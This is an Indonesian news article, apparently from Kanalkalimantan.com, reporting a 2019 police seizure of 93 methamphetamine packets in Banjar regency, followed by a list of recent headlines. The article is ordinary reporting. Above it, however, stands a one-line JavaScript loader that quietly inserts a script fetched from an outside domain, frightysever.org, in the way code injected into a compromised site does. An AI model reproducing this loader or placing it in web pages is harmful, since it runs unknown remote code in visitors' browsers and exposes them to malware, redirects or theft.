(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

93 Paket Sabu Gagal Edar, Disimpan Seorang Wanita


BANJARBARU, Satuan Reserse Narkoba Polres Banjarbaru berhasil menggagalkan peredaran 93 paket sabu setelah menggeledah rumah seorang wanita di Desa Sungai Rangas Ulu, Kecamatan Martapura Barat, Kabupaten Banjar.

Kasat Narkoba AKP Elche SH SIK mengatakan, pihaknya sebelumnya mendapatkan informasi dari masyarakat bahwa ada dua orang laki-laki yang sedang membawa narkotika. Kemudian petugas berhasil mengamankan kedua pria tersebut yang diketahui bernaka Adi dan Lucky di jalan Trikora, kota Banjarbaru.

“Dari tangan mereka petugas berhasil mengamankan 1 buah pipet kaca yang didalamnya masih terdapat sisa sabu dan 1 paket sabu dengan berat 0,15 gram,” ujarnya kepada Kanalkalimantan.com, Senin (6/5/2019).

Tak sampai disitu saja, Sat Resnarkoba Polres Banjarbaru yang dipimpin AKP Elche melakukan pengembangan kasus lewat informasi yang diberikan kedua tersangka. Petugas pun bergegas menuju ke Desa Sungai Rangas Ulu, Kecamatan Martapura Barat, Kabupaten Banjar yang diduga sebagai tempat menyimpan barang haram siap edar.

Dari informasi yang didapat, pemilik rumah yang menjadi target sasaran adalah seorang wanita bernama Novia alia Pia. Saat dilakukannya penggerebekan oleh petugas turut disaksikan masyarakat sekitar.

Alhasil petugas menemukan 93 paket sabu siap edar ditemukan dalam sebuah dompet dan kotak permen dengan total berat 18,32 gram. Petugas juga menemukan satu buah bong dan pipet yang didalamnya masih terdapat sisa sabu-sabu dan satu buah timbangan warna abu-abu.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasubbaghumas Polres Banjarbaru AKP Siti Rohayati membenarkan adanya penangkapan tersebut yang mana saat ini semua tersangka beserta barang bukti diamankan di Polres Banjarbaru.

“Untuk pemilik 93 paket sabu-sabu yaitu Novia alias PIA akan dijerat dengan Pasal 114 ayat (1) sub Pasal 112 ayat (1) UU RI Nomor 35 Tahun 2009 tentang Narkotika dengan ancaman hukuman pidana seumur hidup,” ucap AKP Siti Rohayati. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

8 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

13 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

14 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.